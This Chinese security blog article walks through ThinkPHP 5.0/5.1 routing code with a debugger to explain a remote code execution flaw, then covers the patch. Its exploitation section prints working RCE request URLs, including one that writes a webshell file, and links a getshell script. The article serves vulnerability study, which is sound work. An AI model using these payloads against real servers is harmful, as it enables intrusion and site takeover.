ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性。但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。

这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

那么今天i春秋用动态分析法来介绍远程代码执行,同时还能快速了解整个执行过程和一些变量参数,文章阅读用时约7分钟。

01环境

程序源码下载:

http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

搭建就不多说了,放源码在根目录然后phpstudy启动!

02漏洞复现

其实有很多利用的地方,到后面分析完再说。

03漏洞分析

因为是从开始分析,也比较适合新手,就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade:

到App.php初始化的地方,继续F8往下面走:

到routeCheckF7跟进去:

到这里F7继续跟进去:

有些没有必要的函数就直接F8跳过去,到pathinfo( )这里F7跟进去:

我们可以分析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值:

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET['s']来传递路由信息。

 public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config->get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
unset($_GET[$this->config->get('var_pathinfo')]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach ($this->config->get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

可以看到return $this->pathinfo;返回的内容:

F7走,可以看到$pathinfo赋值给$this->path:

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action。

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run( );,我们F7跟进去。

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

我们F7继续分析parseUrl方法,然后F8走到这里。

F7进到这个parseUrlPath方法里面,用/来分割[模块/控制器/操作]并存到$path数组里面。

 private function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} elseif (false !== strpos($url, '=')) {
// 参数1=值1&参数2=值2...
parse_str($url, $var);
} else {
$path = [$url];
}
return [$path, $var];
}

中间的继续F8往下走,返回的$route数组

继续往下走,F7进去。

可以看到:

thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

继续会走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result。

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[1]传过来的。

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

下面就是调用反射执行类的步骤了:

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input。

后面就是把内容输出到浏览器的过程了

04漏洞分析回顾

开始我们分析pathinfo( )函数的时候得知可以用s来获取路由信息

parseUrlPath方法用来分割[模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类。

最后是反射函数,调用了input方法执行phpinfo( )

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这里也不写getshell的python脚本了 ,可以参考:

https://github.com/theLSA/tp5-getshell

05补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

以上是今天的内容,大家看懂了吗?

 

「白帽挖洞技能提升」ThinkPHP5 远程代码执行漏洞-动态分析的更多相关文章

  1. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  2. ThinkPHP5 远程代码执行漏洞被入侵日志,升级最新版本解决

    2018年12月9日,ThinkPHP团队发布了一个补丁更新,修复了一处由于路由解析缺陷导致的代码执行漏洞.该漏洞危害程度非常高,默认环境配置即可导致远程代码执行.经过启明星辰ADLab安全研究员对T ...

  3. 记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用 执行命令为 : /tmp/php  -s /tmp/p2.conf 基本可以确定是被挂马了 下一步确定来源 last 没有 ...

  4. ThinkPHP5 远程命令执行漏洞分析

    本文首发自安全脉搏,转载请注明出处. 前言 ThinkPHP官方最近修复了一个严重的远程代码执行漏洞.这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语 ...

  5. ThinkPHP5.0.*远程代码执行漏洞预警

    安全公告 Thinkphp5.0.*存在远程代码执行漏洞. 漏洞描述 Thinkphp5.0.*存在远程代码执行漏洞.攻击者可以利用漏洞实现任意代码执行等高危操作. 目前官方已经出了补丁: https ...

  6. 「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现

    漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台.Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发.通信和容错功能.Flink在流引擎之上构建批处 ...

  7. ThinkPHP5远程代码执行高危漏洞(附:升级修复解决方法)

    漏洞描述 由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell. 漏洞评级 严重 影响版本 ThinkPHP 5 ...

  8. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  9. 【环境学习】ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

    环境保留:2019.4.4-4.10 环境搭建: 这里我使用的是:vulhub vulhub目录结构:vulhub/thinkphp/5-rcess 测试地址(开放一段时间供大家学习):http:// ...

随机推荐

  1. python基础-并发编程02

    并发编程 子进程回收的两种方式 join()让主进程等待子进程结束,并回收子进程资源,主进程再结束并回收资源 from multiprocessing import Process import ti ...

  2. mysql 之优化

    # ### part1 : sql语句优化 # (1) mysql 执行流程 客户端: 发送链接请求,然后发送sql语句 服务端: 1.连接层: 提供和客户端链接的服务 show processlis ...

  3. python 中文分词库 jieba库

    jieba库概述: jieba是优秀的中文分词第三方库 中文文本需要通过分词获得单个的词语 jieba是优秀的中文分词第三方库,需要额外安装 jieba库分为精确模式.全模式.搜索引擎模式 原理 1. ...

  4. firefox56 版本中的 Selenium IDE 无法导出脚本问题

    firefox:56 Slenium IDE :3系列 问题:Selenium IDE 没有工具栏,无法导出录制的脚本,这给自动化测试工作带来了极大的不便. 解决办法:将firefox 降级 (只有5 ...

  5. html里js的execCommand的一点用法

    editorDoc.execCommand ('italic', false, null); 添加斜体 参考 http://help.dottoro.com/ljcvtcaw.php

  6. 【bzoj2648】SJY摆棋子(kdtree)

    传送门 题意: 二维平面上有若干个点. 现在要维护一种数据结构,支持插入一个点以及询问其余点到某个点的最小曼哈顿距离. 思路: 这是个\(kdtree\)模板题. \(kdtree\)是一种可以高效处 ...

  7. 三、排序算法总结一(冒泡排序,插入排序,选择排序)(C++版本)

    一.引言 对于各种排序算法也算是有了一定的了解,所以这里做一个总结. 二.冒泡排序法. 这是比较经典的排序算法,主要是通过内外两层的循环比较,使得乱序变为顺序. 下面是一个测试代码 #include ...

  8. 2018年蓝桥杯B组C/C++决赛题解

    2018年第九届蓝桥杯B组C/C++决赛题解 点击查看2018年蓝桥杯B组C/C++决赛题目(不含答案) 1.换零钞 ok 枚举 设x表示1元钱的个数,y表示2元钱的个数,z表示5元钱的个数 x+21 ...

  9. ARM的堆栈方式

    当堆栈指针指向最后压入堆栈的数据时,称为满堆栈(Full Stack): 当堆栈指针指向下一个将要放入数据的空位置时,称为空堆栈(Empty Stack): 根据对战的生成方式分为:递增堆栈(Asce ...

  10. JavaScript中的数组Array

    抄自:https://www.jianshu.com/p/7e160067a06c js中数组的方法种类众多,有ES5之前版本中存在的,ES5新增,ES6新增等:并且数组的方法还有原型方法和从obje ...